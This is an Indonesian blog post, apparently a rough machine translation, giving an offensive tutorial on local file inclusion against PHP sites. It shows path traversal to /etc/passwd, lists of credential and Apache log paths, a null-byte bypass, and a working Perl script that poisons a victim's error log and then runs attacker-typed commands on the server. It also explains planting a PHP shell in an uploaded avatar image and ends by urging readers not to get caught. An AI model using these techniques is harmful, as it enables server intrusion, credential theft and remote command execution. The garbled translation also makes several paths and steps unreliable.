Jumat, 30 Desember 2011

File Lokal Inklusi Tutorial

Pertama, di sini adalah kode yang rentan terhadap LFI
 
$page = $_GET[page];
include($page);
?>
 


Sekarang, kode ini dieksploitasi, karena halaman ini tidak dibersihkan, tetapi sebaliknya, lulus langsung ke situs web. (un) untungnya mengeksploitasi ini umumnya ditemukan di world wide web.

Untuk ini, kita harus membayangkan bahwa ada sebuah direktori bernama / test dan sebuah file bernama test.php di sana ... Jadi url examplue kami akan. www.example.com / test / test.php. Sekarang, kita juga harus mengasumsikan ada file di / tes yang index.php .. Dan bahwa ada file indeks di sana. Jadi file indeks kami akan www.example.com / test / index.php, dan file pengujian kami adalah www.example.com / test / test.php. Jika contoh file indeks kami memiliki kode php rentan di dalamnya kita harus bisa pergi ke www.example.com/test/index.php?page=../test.php. (The .. / adalah direktori transversal, memungkinkan kita untuk naik satu direktori)

Jika mengatakan, situs itu host pada server unix, maka kita mungkin bisa melakukan transversal direktori ke file password. Untuk menguji, kita bisa pergi ke: www.example.com/test/index.php?page=../../../../../../../../../. / .. / .. / ... / .. / ETX / passwd

Jika berhasil, halaman harus terlihat seperti:

 
username: passwd:UID:GID:full_name:directory:shell
 



Sebuah contoh file mengatakan, akan menjadi:
 
username:kbeMVnZM0oL7I:503:100:FullName:/home/user name:/bin/sh
 
 
Meskipun, password dapat berbayang, jika demikian, maka akan terlihat seperti
 
username:x:503:100:FullName:/home/username:/bin/sh
 



Password dalam contoh itu, akan terletak di / etc / shadow (Yang Anda akan kemungkinan besar tidak memiliki akses ke, karena hal ini terutama hanya dapat dibaca / ditulisi oleh root. Tapi / etc / passwd dapat dibaca oleh banyak proccesses, karena thats mengapa Anda dapat membacanya.

Jika Anda melihat sesuatu seperti

 
username:!:503:100:FullName:/home/username:/bin/sh[code]
Then you would know that the password is stored in /etc/security/passwd

A few good directories to visit would be
[code]
/etc/passwd/etc/shadow/etc/group
/etc/security/group
/etc/security/passwd 
/etc/security/user 
/etc/security/environ 
/etc/security/limits/usr 
/lib/security/mkuser.default
 
 
Sesuatu yang admin web mencoba dan melakukan untuk memperbaiki masalah itu adalah dengan hanya memastikan website menambahkan ". Php" ke akhir URL. Jadi jika Anda mencoba pergi ke www.example.com/test/index.php?page=../../../../../../../../../. . / etc / passwd, itu akan mencoba dan membawa Anda ke www.example.com/test/index.php?page=../../../../../../../ .. /../../ etc / passwd.php. Yang ada non, karena file yang kita cari bukan file php. Tapi untuk memperbaikinya, kita hanya bisa menggunakan sebuah nullbyte. Untuk menggunakan nullbyte, Anda hanya harus menambahkan "" ke akhir URL sebelum Anda mengirimkannya.
Nullbyte membuatnya jadi segala sesuatu yang masuk setelah nullbyte adalah "nol"

Ada banyak cara lain untuk menggunakan LFI untuk mengeksploitasi webserver. Dalam berikut, kita akan menyuntikkan kode php ke dalam log httpd, dan akses mereka melalui LFI\
 
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log.
./../../apache/logs/error.log.
./../../apache/logs/access.log 
../../../../../../../etc/httpd/logs/acces_log 
../../../../../../../etc/httpd/logs/acces.log 
../../../../../../../etc/httpd/logs/error_log 
../../../../../../../etc/httpd/logs/error.log 
../../../../../../../var/www/logs/access_log 
../../../../../../../var/www/logs/access.log 
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log 
../../../../../../../var/log/apache/access_log 
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log 
../../../../../../../var/log/apache2/access.log 
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log 
../../../../../../../var/www/logs/error_log 
../../../../../../../var/www/logs/error.log 
../../../../../../../usr/local/apache/logs/error_l og 
../../../../../../../usr/local/apache/logs/error.l og 
../../../../../../../var/log/apache/error_log 
../../../../../../../var/log/apache2/error_log 
../../../../../../../var/log/apache/error.log 
../../../../../../../var/log/apache2/error.log 
../../../../../../../var/log/error_log 
../../../../../../../var/log/error.log
 


Itu adalah daftar lokasi log. Sekarang kita tahu mana log, kita akan melihat di dalamnya
dan melihat apa yang mereka simpan. Dalam contoh ini, kita akan menggunakan log yang 
menyimpan "tidak ditemukan file" dan kode php. Anda kemudian akan diketik 
dalam www.example.com/ browser Anda dan kode php ini akan login, karena itu tidak ada. 
Ini mungkin tidak bekerja, karena log URL dapat menyalinnya.  
Jika Anda tidak memiliki script sendiri, Anda dapat menggunakan salah satu saya temukan di internet.
 
 
 #!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site="victim.com";
$path="/folder/";
$code="";
$log = "../../../../../../../etc/httpd/logs/error_log";
print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "
Connection Failed.

";
print $socket "GET ".$path.$code." HTTP/1.1
";
print $socket "User-Agent: ".$code."
";
print $socket "Host: ".$site."
";
print $socket "Connection: close

";
close($socket);
print "
Code $code sucssefully injected in $log
";
print "
Type command to run or exit to end: ";
$cmd = ;
while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "
Connection Failed.

 
";
print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1
";
print $socket "Host: ".$site."
";
print $socket "Accept: */*
";
print $socket "Connection: close

";
while ($show = <$socket>)
{
print $show;
}
print "Type command to run or exit to end: ";
$cmd = ;
}
 
 
 
Simpan bahwa sebagai something.pl. Jika kode rentan dalam example.com / test / test.
php Anda harus mengubah / untuk / test /, index.php / folder = untuk test.
php = dan ../../../../ yang .. / .. / .. / etc / httpd / log / error_log  
ke tempat log di!

Script yang akan menyuntikkan kode, dan kemudian akan memungkinkan Anda untuk 
menjalankan comand pada server.


Terakhir, kita akan melihat bagaimana Anda dapat memanfaatkan 
fitur avatar upload website dengan LFI.

Anda akan perlu menambahkan kode php Anda ingin mengeksekusi ke gambar,  
untuk melakukan dengan, Anda akan perlu menggunakan hex ​​editor dan menambahkannya 
di di akhir. Atau Anda bisa menggunakan progam yang disebut edjpgcom.  
Untuk itu semua yang perlu Anda lakukan adalah klik kanan pada amiage> terbuka dengan>  
kemudian pilih program edjpgcom, kemudian ketik kode untuk menyuntikkan Anda shell.  
Setelah Anda memiliki shell anda dalam gambar, Anda perlu meng-upload ke server shell 
anda melalui hal meng-upload avatar di CP pengguna. Jika tidak nya sebuah forum Anda 
mencoba untuk mengeksploitasi, dan tidak ada cara untuk meng-upload file
Periksa apakah server hosting bersama. Untuk melakukan itu, melakukan reverse lookup 
pada website. Website saya gunakan untuk ini adalah: http://www.yougetsig...-on-web-server/

Sekarang, bagian yang rumit, Anda perlu menemukan lokasi gambar, 
dengan menciptakan kesalahan dalam gambar. Tapi, jika Anda tidak bisa
memaksa kesalahan pada gambar, Anda dapat mencoba mengklik kanan pada gambar, menyalin  
lokasi gambar, memasukkannya ke URL, dan menambahkan "?" sampai akhir. (? Yang Akan menyebabkan 
untuk berjalan, dan merupakan nullbyte yang "

Jika mereka tidak bekerja, Anda dapat kembali ke file / etc / passwd 
 username:kbeMVnZM0oL7I:503:100:FullName:/home/username:/bin/sh 
 
Seperti yang Anda lihat, nama pengguna adalah ALOS direktori, dalam banyak kasus nama mirip 
dengan domain, jika tidak meskipun, Anda harus mencoba mereka sampai Anda menemukan satu yang Anda cari.

Kembali ke gambar avatar Anda, klik kanan di atasnya, lalu salin lokasi gambar.

Pada browser Anda, kembali ke www.example.com/test/index.php?page=../../../../../../../../../location/ dari / / Anda image.jpg

Dan setelah itu, Anda akan melihat shell Anda ditambahkan ke gambar Anda sebelumnya.
Good luck, dan bersenang-senang. Cobalah untuk tidak tertangkap.

Tidak ada komentar:

Posting Komentar